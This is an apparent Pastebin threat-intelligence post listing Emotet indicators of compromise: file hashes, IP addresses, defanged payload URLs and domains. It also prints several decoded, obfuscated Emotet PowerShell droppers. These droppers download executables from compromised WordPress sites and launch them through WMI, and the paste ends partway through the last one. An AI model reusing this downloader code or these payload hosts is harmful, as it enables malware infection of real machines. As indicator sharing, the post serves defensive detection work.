paladin316

Emotet_Doc_out_2020-10-22_13_55.txt

Oct 22nd, 2020
978
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #Emotet #Docs #malware #OSINT #IOC
  2.  
  3. SHA256:
  4. 0d4957ad656edeaef3f49b20de1845bcafd5e78981c607cff352212e84ae913e
  5. 0ec17aa1ce44390bdfd71ce3cc0317d8f28c1ba0f4d12854fb0ed781fd142875
  6. 890535144da2084ee8e9431e6521be9719100cc5bec7679a4d7bdce3763a692c
  7. ee0a2fe5c7b689bc059cf0849b40346779fa307da94bee18344cb200aa5f0315
  8. b730b36a22a6d6da4bf394e59e3bdb0a0bc32a3adc8fea6f568a58b926a7fdc4
  9. 8537810517cd5dd09f54c8b9b8ae8800be7178a6bd57e6b35effba2f254dc891
  10. a6eea83d7fab009cc5bf69ff232eec13d0b06e8db76df67d40843391f0f6579c
  11. 53a72171110a18e1b7b4302fbff1f54163c7e209cd54719f1956d4fc1324559d
  12. 1cbfe4acb45540cc1c03e93696d3c85a5ce3162e105d69cbc2c24f6b468fba90
  13. 989719e9eda598697218c5d6b4d30e5a223cb1ac7f1f2655752f45c138656858
  14. 924bb2a35b1428b72f47162fd8ed46a271a59c8bc1a34de9ac3bb4dcc7102eee
  15. 7c72a2b38416a8d0149f3d8e36d0bb7e6ee3fa3292230d3ccdf36ef0e530fea3
  16. 0bfd0f8ada9d40a9b2a5b4488cdc5e9f65ee5eb9392124b281f422ef33a911af
  17. c54cc066f4ec58fa457a0f6134fb83321e303ee18aa2e2f9e0e46187e2fb3a95
  18. 95c62759d32e2a426433130be7fc1c17a3d3787359258f3af33f61760463eeee
  19. 43bb166a848af96dd6944ca6c4c98a6bd872ec7e00fd4f4f271410401264e7c7
  20. 0b25fca35bd60d2257616a1c1adbf89fefba07969c5a0fc3aa22d3f43ad7c2f4
  21. 4876b24f79e4db4a3df03efb480f32506ce94c7c60c1410d47b6722a66765552
  22. 29747a11e9ffbd0668f9b880137f1051a27677c4f3bf0a17ead5299fb5857946
  23. 1866b19498cdc839b6b01746deccdbd4fb5ee2689ea7b5dd49d2af60d6b4d620
  24. fe6f81016020f3eec5b5568f60ee0c8468c2fe814af9eaaf8976b3df45d83e91
  25. 916610eecd9e0faf3813f4af060d636722a3a3d148e16373514ba8ef022ac631
  26. fe681aba1adcf7e82fd0daedeb3af000c89d34693b1dd0022c273e936ed660cd
  27. 26675160f52f90a778a8e6489be6b67a6982742a192595c69b9d87e49e11cbf9
  28. 97874f4b3e24d8afd368e2ddb1cc3618f8db1fd34e838412059a5f6e28a2e3ce
  29. 884d55db64ae38575a793fcfaf4f07a6b4f67a7ee84374571189cc4bdb485608
  30. 638d64989d1dd97fb0243d59735dcc9441f106f3eaa6288d3c6e18a2b11aaef7
  31. bfcf012480833949d47a52c43762fccfd26a1785b134d1da9a84a2f91bca0778
  32. 404ff52d3a85958573d36e56b44af5b7295d23371bf02112ab3f7e93932cf97b
  33. c343246a8b6df26e48dedc87a71762563be3e241ea28994ad1e2d0700b823f8d
  34. 5216126689ce29d0ead65c0774e9b395ade4b5c2ce71e69d464f3a603a22bdb4
  35. e22adb293242bbe12e653ae5f927e75dccbeffda728053fc11b830c8197aa330
  36. 75c8ade3a5fe3b9731e5581729dd4a6d9c459624b08730109c7be0b42a7bc424
  37. 8b05297c048f55387edd8b05e69d2a1240c7906afaebaf370edb5b8124f57043
  38. 2541429bf45855875d8361e68456e8a3b1786c9ff7660582ecc6f38e1ec9d454
  39. 34b4f674b3fb2522db0c058e836245655b4588f4bd0b35b5c2bbfcc3bc75916d
  40. da03a9b55b6989c3afc8a859785e254418322eb601e9fcf2ce58da55d9bc7d0b
  41. f9129c9f5ad280b2fc327f6b8399d107ae082284f42b7fa1e6939a39c52ee243
  42. 88c17e3958ba72f9ac157dd3dfc4f9c3a5957d675083f638fa5ffddd89c4e539
  43. f7662b65b34b917149a36506e326940301521658b741cbd57ff19e8d396d1b22
  44. 79eac1acb26ebc7de50c343fc40ea055096be22d66ee6769c4180cff5a20468f
  45. 2d347f470cd335987e917985af28d335e545899401c63f03a6cbdf484b4cdd46
  46. 781bb9f0ec4dde08bb1805251084a7fdef63badcde583c687cecc6c1188d6881
  47. 876c1a831d8a6b53e250c5dd53b13a9089c83b671a3c26d5162051ad1318aa82
  48. 0cf6b6d2c70f90c73c8af70fddcaf553d0b296661f49c2958c7464ed3294676f
  49. 762eef538d0c4d105cc6ed8ab380f60021363b0a9569aefd66752a02939244e1
  50. 762eef538d0c4d105cc6ed8ab380f60021363b0a9569aefd66752a02939244e1
  51. ab28cd70227b6278a12e9ccf93a9969e4c35cc7b049ec8f0f6da797a4ab7aad8
  52. ab28cd70227b6278a12e9ccf93a9969e4c35cc7b049ec8f0f6da797a4ab7aad8
  53. e611734004857badf3ba63f84f76604db2dc2394cb1e5a74d83442e580b6d1fc
  54. e611734004857badf3ba63f84f76604db2dc2394cb1e5a74d83442e580b6d1fc
  55. ed5ed9c256dc24f5aeffc1b9b0e7dba316c5c13a1966b7243770318805567ec9
  56. ed5ed9c256dc24f5aeffc1b9b0e7dba316c5c13a1966b7243770318805567ec9
  57. e01b2dd423d602c30905f88e9c829c72498492b0ebc8c6625f81b78ad77dcaa6
  58. 0da81935024d0599fd8d9347b3b1cd7d1c3224a851735ee92224a3f2cfe007dd
  59. 0da81935024d0599fd8d9347b3b1cd7d1c3224a851735ee92224a3f2cfe007dd
  60. 2ff6d19afb85204f40ae48717a474273df3f77aaf11084e5162b1e8c057e34fd
  61. ff463811a1b2d27096836980e07b6cc1e0d339a5ff6a07d9edfe141eb4a4de04
  62. 78b7a7567ca7972ecca43e1ebe4a1aa7afb99ebae5d40ca9b6720c26118f713d
  63. 0962178a6edd34473ee5ac0f0dcd4ebd1ab30286664db2bbe2782ddbc4f7477d
  64. 0962178a6edd34473ee5ac0f0dcd4ebd1ab30286664db2bbe2782ddbc4f7477d
  65. 2ffe544b9a9857e4b910eff4ebf6183e41f7bc8996a68c68f49c4c576745d561
  66. 2ffe544b9a9857e4b910eff4ebf6183e41f7bc8996a68c68f49c4c576745d561
  67. cde7e6bf17321c078405537ce1fd9b5eafae22b397b12642e853cb12b3ad0f69
  68. be96a344b2fb3d43c0a4871f97a13c41633df469861f7cfbe9dfa3cc6ebe020b
  69. 907f854fc6521eb1d37065fd3e9fa203e1370cd9d176f1fbbaa961139c9f19a0
  70. 907f854fc6521eb1d37065fd3e9fa203e1370cd9d176f1fbbaa961139c9f19a0
  71. 28aecaaed6def34a0f480dc2a61d20cf12720db808b320fb1e886a86f08686c0
  72. 4f927bd188b87a47398f9e9fe9bc9d4ba4d56d813e1c3183c1b5818a82696076
  73. 4f927bd188b87a47398f9e9fe9bc9d4ba4d56d813e1c3183c1b5818a82696076
  74. 83b682e06434c0cf207ed5f4a8784fd5ddd5cf8c6ffbf3cd2e29b65af9f1c642
  75. 83b682e06434c0cf207ed5f4a8784fd5ddd5cf8c6ffbf3cd2e29b65af9f1c642
  76. bfc9797acaa5c291ca5ae325f7e30c17943114bf6fd2c485cf4a2c5df7eb68d1
  77. 0699c1bda793c7aaa9fc01940fe91bbe470ff01abfcbb32ab93d7a6a329e0d13
  78. 0699c1bda793c7aaa9fc01940fe91bbe470ff01abfcbb32ab93d7a6a329e0d13
  79. 756a41dbd5912d4c871d486b25958f188c2a32279f2b735e7ea9fb816fa13da8
  80. 756a41dbd5912d4c871d486b25958f188c2a32279f2b735e7ea9fb816fa13da8
  81. f3bdfdeda759d384ba2dfe4792bab80ad4aa7354badad324c69e0f4c095cdef2
  82. f3bdfdeda759d384ba2dfe4792bab80ad4aa7354badad324c69e0f4c095cdef2
  83. 2f5f1ec816813289a5f7b31b1054613917d826c0e0869a4cd1998055467b1f76
  84. d7d4f0e3118be6b096fce94e099d314a78ff45b33b0c6db9993b71d66b171e6c
  85. 8b92f8e7b69533e9a25724f3ed4647b004cc55014bbbc598c8ef4abc0556c425
  86. 8b92f8e7b69533e9a25724f3ed4647b004cc55014bbbc598c8ef4abc0556c425
  87. d26b340db68be6d1b7203ca454065ac2aae52968723b4005ce6dffa5ba98072f
  88. d26b340db68be6d1b7203ca454065ac2aae52968723b4005ce6dffa5ba98072f
  89. 20ae475c458a9525a8fbf4ad077b47cf12bbcc7d4401a0fa2d8cb2c0340abfac
  90. 20ae475c458a9525a8fbf4ad077b47cf12bbcc7d4401a0fa2d8cb2c0340abfac
  91. 10fffc6d57e68b2224f5a7b35a28ed5e146334dff8d0f35d900451150058bb45
  92. fc523dab17f69be0ab6b14d0c02e81b083dd380e76e40267fbd6b1a56128c6cc
  93. 72da9c13652853256f7cab8762f533e63f52328ba4b06d4bf44d3dc0cd5fe2c5
  94. ae5fd4f313c63cac1758aefc2cbb06763c919f1512219cf961e541e4501d4326
  95. 6916f815ae3094ba0e9c9f0464bbd05f8619ce4da774387e7b7df3e1d82330c5
  96. ecfc89ef969dc50f07649db191efefa79a87ef3a766b56d53c5462c6abc2bf1c
  97. 2d750c754eeb0df583b0daf91ea2a674ecf074b4a8ae2a814169f7064f197621
  98. 564f151e5ddc2909b23edbed474901a243c7816edd15e503feb704d925cf110f
  99. 90f529f52f0ee836368406a46c2ac923489d2df8b201b0d2a71878c65e23657c
  100.  
  101.  
  102. IPs:
  103. 102.130.123.81
  104. 103.8.25.63
  105. 103.96.75.29
  106. 104.18.48.6
  107. 104.18.49.6
  108. 104.18.58.178
  109. 104.18.59.178
  110. 104.24.124.215
  111. 104.254.244.128
  112. 104.31.90.56
  113. 104.31.91.56
  114. 106.53.251.200
  115. 107.180.51.81
  116. 111.90.135.17
  117. 112.213.89.26
  118. 119.235.30.160
  119. 119.29.179.243
  120. 132.148.165.85
  121. 13.232.208.14
  122. 136.243.93.91
  123. 139.99.9.198
  124. 148.72.3.169
  125. 15.206.78.201
  126. 160.153.249.218
  127. 163.44.198.61
  128. 172.104.22.215
  129. 172.67.140.204
  130. 172.67.167.106
  131. 172.67.179.15
  132. 172.67.222.143
  133. 181.88.192.21
  134. 182.50.132.45
  135. 182.50.151.49
  136. 185.179.143.59
  137. 187.1.136.117
  138. 191.6.200.86
  139. 198.12.208.234
  140. 199.192.21.176
  141. 202.92.4.232
  142. 208.72.64.135
  143. 209.141.38.86
  144. 212.34.158.133
  145. 212.53.87.90
  146. 213.190.6.120
  147. 213.232.124.156
  148. 216.218.207.98
  149. 31.220.104.7
  150. 35.214.159.46
  151. 35.214.215.33
  152. 40.119.6.228
  153. 44.239.45.225
  154. 45.252.248.20
  155. 64.91.227.108
  156. 69.65.3.162
  157. 85.236.155.233
  158. 94.130.141.30
  159.  
  160.  
  161.  
  162. URLs:
  163. hxxps://farzadkiasat.com/wp-admin/Eb/
  164. hxxp://hunmao.net/wp-includes/C/
  165. hxxps://www.tallyandfin.com/cgi-bin/P/
  166. hxxps://gosvish.com/wp-admin/B/
  167. hxxps://searchhomeusa.com/wp-content/o/
  168. hxxp://h5yx.vishou.net/css/i/
  169. hxxp://oleegoli.com/indexing/xS/
  170. hxxp://murari.es/wp-content/h/
  171. hxxps://hrinternationalbd.com/selectar/h/
  172. hxxp://thestudio-ct.co.uk/events/P3/
  173. hxxp://kailaasa.ca/wp-admin/zeJssVj/
  174. hxxps://khudanculongdien.vn/wp-admin/HB/
  175. hxxp://admvero.com.br/eleicao/EJcX/
  176. hxxp://coolfit.in/wp-content/ivi/
  177. hxxp://equipamentosmix.com/10/Bjky/
  178. hxxps://www.aspensnowmasswebcam.com/wp-admin/SC6c2o/
  179. hxxps://ticket1st.com/wp-includes/98Zkfi/
  180. hxxps://www.eyebrowandme.com/cgi-bin/3NN/
  181. hxxp://newsfocus123.com/96kaifa/cc1/
  182. hxxps://dev.muzigal.com/cron/Mdn/
  183. hxxp://www.dehateet.com/wp-admin/Gqg0Ma/
  184. hxxp://keithdougherty.com/wp-includes/Yen85/
  185. hxxp://nurseprizes.com/wp-includes/hS/
  186. hxxp://eubanks7.com/administrator/ubdDbB/
  187. hxxps://erkala.com/wp-admin/mi5m/
  188. hxxp://lidoraggiodisole.it/cgi-bin/zLG879/
  189. hxxp://nickjehlen.com/oldsite/nZSNQ/
  190. hxxp://www.riminvest.vn/install/Zxh/
  191. hxxp://www.1ca.co.za/1cAdmin/b/
  192. hxxp://paulscomputing.com/CraigsMagicSquare/f/
  193. hxxp://wikibricolage.com/wp-admin/XiZrby/
  194. hxxp://www.sangamapparel.com/wp-content_old/whE/
  195. hxxp://techarpit.xyz/wp-content/GM/
  196. hxxps://sarfco.com/wp-content/6YE/
  197. hxxps://best-browser.top/wp-includes/lL/
  198. hxxps://alternatul.com/wp-includes/4rS/
  199. hxxps://rapicampi.com/wp-content/ib/
  200. hxxps://initiativepropertiesltd.com/home/S7s/
  201. hxxp://michaelandrewsbakery.com/wp-admin/M/
  202. hxxp://forsalebyowner247.com/wp-includes/8m/
  203. hxxp://webgisjambi.com/wp-content/uploads/V5a/
  204. hxxps://tigerstormtraffic.com/wp-includes/h23/
  205. hxxps://optimisticdeals.com/wp-content/S/
  206. hxxp://twogirlscleaning.com/openbayl/KaI/
  207. hxxp://online2u.biz/ogretmenevi/4Yj/
  208. hxxp://swiftlogisticseg.com/wp-admin/jiX/
  209. hxxp://www.paikapua.com/a0brac3/Y/
  210. hxxp://gordon-and-son.com/wp-includes/n/
  211. hxxps://emmanuelmonastery.org/wp-admin/d/
  212. hxxps://www.afriwaste.app/wordpress/N7L/
  213. hxxp://da-industrial.com/js/A4/
  214. hxxps://onepalate.biz/wp-content_bak/Bc/
  215.  
  216.  
  217. Domains:
  218. farzadkiasat.com
  219. hunmao.net
  220. www.tallyandfin.com
  221. gosvish.com
  222. searchhomeusa.com
  223. h5yx.vishou.net
  224. oleegoli.com
  225. murari.es
  226. hrinternationalbd.com
  227. thestudio-ct.co.uk
  228. kailaasa.ca
  229. khudanculongdien.vn
  230. admvero.com.br
  231. coolfit.in
  232. equipamentosmix.com
  233. www.aspensnowmasswebcam.com
  234. ticket1st.com
  235. www.eyebrowandme.com
  236. newsfocus123.com
  237. dev.muzigal.com
  238. www.dehateet.com
  239. keithdougherty.com
  240. nurseprizes.com
  241. eubanks7.com
  242. erkala.com
  243. lidoraggiodisole.it
  244. nickjehlen.com
  245. www.riminvest.vn
  246. www.1ca.co.za
  247. paulscomputing.com
  248. wikibricolage.com
  249. www.sangamapparel.com
  250. techarpit.xyz
  251. sarfco.com
  252. best-browser.top
  253. alternatul.com
  254. rapicampi.com
  255. initiativepropertiesltd.com
  256. michaelandrewsbakery.com
  257. forsalebyowner247.com
  258. webgisjambi.com
  259. tigerstormtraffic.com
  260. optimisticdeals.com
  261. twogirlscleaning.com
  262. online2u.biz
  263. swiftlogisticseg.com
  264. www.paikapua.com
  265. gordon-and-son.com
  266. emmanuelmonastery.org
  267. www.afriwaste.app
  268. da-industrial.com
  269. onepalate.biz
  270.  
  271.  
  272. Decoded Base64 Powershell:
  273. <���^,sET 9tI [TYPE]"{5}{0}{2}{4}{1}{3}" -F eM.IO.D,Ct,iR,OrY,E,SysT ;
  274. sET-ITEM VARIAbLe:V2xnS [TyPe]"{4}{0}{5}{1}{7}{6}{3}{2}"-FneT,R,AnAGer,epOInTm,sYsTEM.,.SE,IC,V ;
  275. $Fz6ud55=Shjuntt;
  276. $Rs2dupx=$Um9rtax [char]64 $Cp3lmc3;
  277. $Yi67ude=T77gu_a;
  278. $9ti::"c`RE`AteDi`RE`ctORy"$HOME IpeGvewo5tIpeS3t8dauIpe-CRePLAce Ipe,[cHaR]92;
  279. $Gke3cc0=A6qzbt8;
  280. vaRiAble V2xNs .vALUe::"SEcu`Ri`TY`pr`oTO`Col" = Tls12;
  281. $Lvweyyz=Fs1yerq;
  282. $Qpugcyw = Kvcc9_;
  283. $Wkx51xq=F0i2_n7;
  284. $Pwquvnk=Oomkrr5;
  285. $Dzc8bew=$HOME5JKGvewo5t5JKS3t8dau5JK -CreplACe5JK,[cHaR]92$Qpugcyw.exe;
  286. $L_26a50=Ues182r;
  287. $Dusjkq2=.new-object Net.WEbCLient;
  288. $Mm5flyg=hxxps://farzadkiasat.com/wp-admin/Eb/
  289. hxxp://hunmao.net/wp-includes/C/
  290. hxxps://www.tallyandfin.com/cgi-bin/P/
  291. hxxps://gosvish.com/wp-admin/B/
  292. hxxps://searchhomeusa.com/wp-content/o/
  293. hxxp://h5yx.vishou.net/css/i/
  294. hxxp://oleegoli.com/indexing/xS/."replA`CE"/,/."Sp`lIt"$Nbrrsq_ $Rs2dupx $Zujllf8;
  295. $Dsk_xbt=Qp3r6vh;
  296. foreach $E51zg8l in $Mm5flyg{try{$Dusjkq2."DOWnl`OAd`FilE"$E51zg8l, $Dzc8bew;
  297. $Yv3q_ni=Ah7ruy1;
  298. If &Get-Item $Dzc8bew."l`EnGTh" -ge 42431 {[wmiclass]win32_Process."cR`eatE"$Dzc8bew;
  299. $Svoqres=S6dztyo;
  300. break;
  301. $Ln2oq33=H_pfbi0}}catch{}}$Djea5or=H9ksflr<���^, SEt-vArIAbLe "4PG""3r2" [tyPe]"{5}{6}{4}{3}{0}{2}{1}"-f eCtO,Y,R,iR,D,SYSTEM.,iO. ;
  302. Set zwiv [TYPe]"{8}{7}{1}{2}{0}{3}{5}{4}{6}"-feRV,.,net.S,IcEp,M,oiNt,ANaGer,YstEm,s;
  303. $Ix301ec=Qgwm4bf;
  304. $E6ijdyh=$N3eukxx [char]64 $Iz6i11p;
  305. $Gl0q8i5=Pzefw5d;
  306. gci VARiAblE:4pg3R2.valuE::"cReA`Ted`IrEC`TO`RY"$HOME KjxDy83lifKjxRn6ielvKjx."Re`pL`AcE"[cHar]75[cHar]106[cHar]120,\;
  307. $Goznhbx=Axxbk5t;
  308. GI vaRiAbLe:ZwIv .VAlUe::"secU`RITy`PRO`TOcoL" = Tls12;
  309. $T2crdzv=Yd9wtrt;
  310. $D2ljihp = Phalbcyh;
  311. $Hqjv414=Eo62wuu;
  312. $Jpedaft=Dqd5h81;
  313. $Uvz5gal=$HOMEa8VDy83lifa8VRn6ielva8V."r`ePlaCE"a8V,[sTriNg][cHar]92$D2ljihp.exe;
  314. $W45jl1f=Dpndy3_;
  315. $V4mzmab=.new-object net.WebcLienT;
  316. $X_v_0qv=hxxp://murari.es/wp-content/h/
  317. hxxps://hrinternationalbd.com/selectar/h/
  318. hxxp://thestudio-ct.co.uk/events/P3/
  319. hxxp://kailaasa.ca/wp-admin/zeJssVj/
  320. hxxps://khudanculongdien.vn/wp-admin/HB/
  321. hxxp://admvero.com.br/eleicao/EJcX/
  322. hxxp://coolfit.in/wp-content/ivi/
  323. hxxp://equipamentosmix.com/10/Bjky/."Re`pL`Ace"/,/."S`PLiT"$Msyxudy $E6ijdyh $Xfqnw__;
  324. $R3641ks=H10v3pq;
  325. foreach $D1veqky in $X_v_0qv{try{$V4mzmab."DO`wNLOa`Df`iLe"$D1veqky, $Uvz5gal;
  326. $Lqmzjcu=Ezmfj33;
  327. If &Get-Item $Uvz5gal."lEN`G`TH" -ge 33552 {[wmiclass]win32_Process."crE`ATE"$Uvz5gal;
  328. $Cp88h8g=Zm5fcnr;
  329. break;
  330. $B8gxkaw=Cxb0nps}}catch{}}$Ufyatri=Ezk12wd<���^, sEt "9xR1""A" [tYpe]"{2}{1}{5}{0}{4}{3}" -f iO.d,Tem,Sys,RECToRY,i,. ;
  331. $f2ycP= [TYpE]"{1}{3}{2}{4}{0}{5}" -F Tma,SYs,E,tEm.nEt.sErVIc,poiN,nAGeR ;
  332. $Vbb_jip=Zpfjk_p;
  333. $Zo2k38m=$Ex8jfpn [char]64 $Vvsdyyb;
  334. $Agr26nx=Pn2sdqb;
  335. gI variaBLe:9Xr1a.VAluE::"cREAted`ire`CTo`Ry"$HOME {0}R_cz8iz{0}O26o3lo{0} -f [char]92;
  336. $I2ifofp=Rfgz2lb;
  337. gEt-cHIlDItEm vaRiABLE:F2YCp .vaLue::"Secu`R`ITYprOT`OC`oL" = Tls12;
  338. $Jridszj=Asy3z64;
  339. $Astuihe = O848p8k;
  340. $Tcc1g0y=Ipfwh9d;
  341. $Nqf8rx1=J4f6tf8;
  342. $Faifxbj=$HOMEvSTR_cz8izvSTO26o3lovST-CRePlaCE vST,[cHAr]92$Astuihe.exe;
  343. $Fnnqxtw=Vnrj1hg;
  344. $B_ik1fo=&new-object net.WeBclieNT;
  345. $J5978l7=hxxps://www.aspensnowmasswebcam.com/wp-admin/SC6c2o/
  346. hxxps://ticket1st.com/wp-includes/98Zkfi/
  347. hxxps://www.eyebrowandme.com/cgi-bin/3NN/
  348. hxxp://newsfocus123.com/96kaifa/cc1/
  349. hxxps://dev.muzigal.com/cron/Mdn/
  350. hxxp://www.dehateet.com/wp-admin/Gqg0Ma/
  351. hxxp://keithdougherty.com/wp-includes/Yen85/
  352. hxxp://nurseprizes.com/wp-includes/hS/."rE`pLA`ce"/,/."S`PLiT"$Vgo02no $Zo2k38m $Iino553;
  353. $Nyo6vy_=Vdddgqe;
  354. foreach $U9lgsfl in $J5978l7{try{$B_ik1fo."DoW`N`lOaDFILE"$U9lgsfl, $Faifxbj;
  355. $Qtbn291=Zjdogii;
  356. If &Get-Item $Faifxbj."lenG`Th" -ge 49688 {[wmiclass]win32_Process."Cr`eA`Te"$Faifxbj;
  357. $H3b5lbf=Leykk97;
  358. break;
  359. $F3k4ppv=O7muw3w}}catch{}}$Cs7zcml=Wgl4cvy<���^, SeT-ITEM Variable:VhD295 [Type]"{2}{4}{1}{3}{0}" -f.dIrECtoRY,TEm.,SY,iO,s;
  360. $tw9=[type]"{3}{5}{6}{1}{7}{0}{8}{2}{4}"-f Mana,VIcepoi,e,SyS,R,Tem.neT.S,er,nt,g ;
  361. $I0re23e=Xgsd_0r;
  362. $Y380o1f=$Iqp5uea [char]64 $Dxd8ovx;
  363. $H4xqibj=Ailtv8n;
  364. $VHd295::"CrE`AtedIRe`ctory"$HOME sacJehhzdasacBen14frsac."rE`PLACE"sac,\;
  365. $Q5om2xu=Yyaeziv;
  366. CHilDITem VariaBlE:TW9 .vALue::"sEcUr`itypr`oToc`OL" = Tls12;
  367. $Nz5glbl=E45m5si;
  368. $Grq403l = G_jugk;
  369. $Qjpsvaf=Ux0_8dg;
  370. $Ptdg95h=Lp5710a;
  371. $Sgwq779=$HOMEF5BJehhzdaF5BBen14frF5B."RePl`ACe"[ChAr]70[ChAr]53[ChAr]66,[strinG][ChAr]92$Grq403l.exe;
  372. $Gwg98u1=A7bz6sm;
  373. $Sll8oku=.new-object nEt.WebCLIEnt;
  374. $G_awhi9=hxxp://eubanks7.com/administrator/ubdDbB/
  375. hxxps://erkala.com/wp-admin/mi5m/
  376. hxxp://lidoraggiodisole.it/cgi-bin/zLG879/
  377. hxxp://nickjehlen.com/oldsite/nZSNQ/
  378. hxxp://www.riminvest.vn/install/Zxh/
  379. hxxp://www.1ca.co.za/1cAdmin/b/
  380. hxxp://paulscomputing.com/CraigsMagicSquare/f/
  381. hxxp://wikibricolage.com/wp-admin/XiZrby/."R`EPLA`cE"/,/."SPl`It"$Bhybdef $Y380o1f $A_bfhkh;
  382. $Q52l9j7=U5fb3tv;
  383. foreach $Wxynj19 in $G_awhi9{try{$Sll8oku."d`oWnLoADf`ile"$Wxynj19, $Sgwq779;
  384. $C14tl_b=Lm89svd;
  385. If .Get-Item $Sgwq779."lE`NG`Th" -ge 44686 {[wmiclass]win32_Process."c`R`eaTE"$Sgwq779;
  386. $Gca3bf5=Pjk0ect;
  387. break;
  388. $Cbrsysx=P6wm9uh}}catch{}}$Kmtqugc=Zhz13gm<���^, seT-ItEM "vAR""I""ABLe:""DAVFp" [Type]"{2}{1}{0}{5}{3}{4}"-F o.di,.I,sYsTem,Or,Y,reCt ;
  389. SEt-IteM VArIaBLE:EIwJ [TYPe]"{4}{2}{0}{3}{1}"-FER,r,em.neT.s,VicePoINtmAnAge,SyST ;
  390. $Jzevic6=Bi2d7hh;
  391. $Fvdapsb=$E04ctqv [char]64 $Xy36noy;
  392. $Lmx1oru=Imzkfs5;
  393. ChILditEM "vAR""I""AblE:""daVfp" .VALUE::"cR`eAtEdI`REctO`Ry"$HOME AtITgw2t8vAtITiqo6heAtI."RE`pLACe"AtI,\;
  394. $A5h8ocj=Cbyuka8;
  395. gI vARIable:EIWJ.VALuE::"s`eCur`iTYPr`oTOCOL" = Tls12;
  396. $P3yuvri=Ke2g3k0;
  397. $Dh1ujeh = Vh5th3v;
  398. $Czwn4_o=La1o6j_;
  399. $Psrklcf=Cj1dgnr;
  400. $B620y_h=$HOME{0}Tgw2t8v{0}Tiqo6he{0} -F[chaR]92$Dh1ujeh.exe;
  401. $Ejr7678=Tp13vuv;
  402. $Jmcywj6=&new-object NeT.WebcLIEnT;
  403. $S_5uvv3=hxxp://www.sangamapparel.com/wp-content_old/whE/
  404. hxxp://techarpit.xyz/wp-content/GM/
  405. hxxps://sarfco.com/wp-content/6YE/
  406. hxxps://best-browser.top/wp-includes/lL/
  407. hxxps://alternatul.com/wp-includes/4rS/
  408. hxxps://rapicampi.com/wp-content/ib/
  409. hxxps://initiativepropertiesltd.com/home/S7s/."rep`lA`CE"/,/."SPl`IT"$Fj0zkld $Fvdapsb $O4kujkf;
  410. $N7iv3ez=Pbu7mnj;
  411. foreach $Xv3dcwv in $S_5uvv3{try{$Jmcywj6."dowNlOa`dfI`LE"$Xv3dcwv, $B620y_h;
  412. $Rf78p3u=Ermcvmg;
  413. If &Get-Item $B620y_h."L`eNGth" -ge 38841 {[wmiclass]win32_Process."CR`eAtE"$B620y_h;
  414. $Qjzm_4d=Fdi2hyg;
  415. break;
  416. $U7dpiy2=Jol3xej}}catch{}}$Cv1evgz=Ungyld0<���^,$54z39m= [tYpE]"{3}{0}{2}{1}"-fem.io.DirE,OrY,cT,SYst;
  417. $W1Nm9 = [TYPe]"{0}{4}{1}{5}{2}{3}{6}" -f SY,ERVic,i,nTmA,sTeM.nEt.s,epO,NaGer ;
  418. $Juir8kh=Mr1yh3y;
  419. $J7dk79j=$F8x929j [char]64 $Xfjq2ir;
  420. $Hm9lz48=Tf31qtb;
  421. geT-vaRIabLe "54""Z39M".vALUe::"CR`e`ATE`D`IRECtoRY"$HOME r7iW0qjhfhr7iC2q5mmwr7i-rEPLAcE [CHAr]114[CHAr]55[CHAr]105,[CHAr]92;
  422. $Bnwq1za=Hau2a3t;
  423. $W1nm9::"seCUR`itYp`RoTOc`oL" = Tls12;
  424. $Z1o65mo=Zbgvfu3;
  425. $Ar1s7gg = C9noxbk;
  426. $Isbzjfv=Pt12egt;
  427. $Zhqzspk=Ggydofx;
  428. $Nulcukb=$HOME8WBW0qjhfh8WBC2q5mmw8WB -rEPLACE 8WB,[CHAr]92$Ar1s7gg.exe;
  429. $L4tml1g=Lg_x5bj;
  430. $Ctm05si=.new-object NET.weBcliENT;
  431. $Nglrlb6=hxxp://michaelandrewsbakery.com/wp-admin/M/
  432. hxxp://forsalebyowner247.com/wp-includes/8m/
  433. hxxp://webgisjambi.com/wp-content/uploads/V5a/
  434. hxxps://tigerstormtraffic.com/wp-includes/h23/
  435. hxxps://optimisticdeals.com/wp-content/S/
  436. hxxp://twogirlscleaning.com/openbayl/KaI/
  437. hxxp://online2u.biz/ogretmenevi/4Yj/."rep`lACE"/,/."spl`It"$Kxpqwvd $J7dk79j $Fkpcssw;
  438. $X3kmyhp=Avjmqy8;
  439. foreach $Ytawvky in $Nglrlb6{try{$Ctm05si."doWN`LO`ADfiLE"$Ytawvky, $Nulcukb;
  440. $X2z31gm=Swdakdn;
  441. If &Get-Item $Nulcukb."lE`NgTh" -ge 48754 {[wmiclass]win32_Process."cREa`Te"$Nulcukb;
  442. $N2c28jh=Epam2rv;
  443. break;
  444. $Ff35631=Lwbdo09}}catch{}}$I3996ra=Mtt3mt_<���^,Sv 7mwJiP [tyPe]"{4}{0}{2}{3}{1}" -f em.IO.Dir,y,ecto,r,SYST ;
  445. $3onF = [TYPe]"{0}{9}{2}{4}{5}{1}{8}{3}{6}{7}" -fsy,seRVi,Tem,o,.nE,t.,intmaNa,gER,cEp,S ;
  446. $E79_tpu=Txdjlur;
  447. $Xow_b_n=$M5ytqq3 [char]64 $Wov_jgs;
  448. $M95gcos=Vwqkh70;
  449. Get-vArIAbLe 7MwjiP -VALueo::"CrE`ATeD`IR`Ec`TORY"$HOME xFSAobg8kfxFSO2ug848xFS."rE`p`LAce"[chAr]120[chAr]70[chAr]83,\;
  450. $Gqzdeoj=C3ef6ug;
  451. $3onF::"sE`CURI`TypR`OT`ocol" = Tls12;
  452. $D04o1lc=Icz5as0;
  453. $C65z8rw = Ku15so_dz;
  454. $Blkn3jq=Didvl0o;
  455. $Tb1pzw4=Sk5mc1_;
  456. $Gdaay9t=$HOME{0}Aobg8kf{0}O2ug848{0} -f [CHAr]92$C65z8rw.exe;
  457. $Svi340l=Ken186j;
  458. $Fuzkj9l=&new-object nEt.WeBCLIeNt;
  459. $Fdjya2s=hxxp://swiftlogisticseg.com/wp-admin/jiX/
  460. hxxp://www.paikapua.com/a0brac3/Y/
  461. hxxp://gordon-and-son.com/wp-includes/n/
  462. hxxps://emmanuelmonastery.org/wp-admin/d/
  463. hxxps://www.afriwaste.app/wordpress/N7L/
  464. hxxp://da-industrial.com/js/A4/
  465. hxxps://onepalate.biz/wp-content_bak/Bc/."r`ep`lACe"/,/."Spl`It"$L7x9nkp $Xow_b_n $Mgxrqd5;
  466. $Go712w4=Tlbvjdi;
  467. foreach $D3unahu in $Fdjya2s{try{$Fuzkj9l."doWN`lO`AD`FIlE"$D3unahu, $Gdaay9t;
  468. $Ac8gdbl=E3kxm5_;
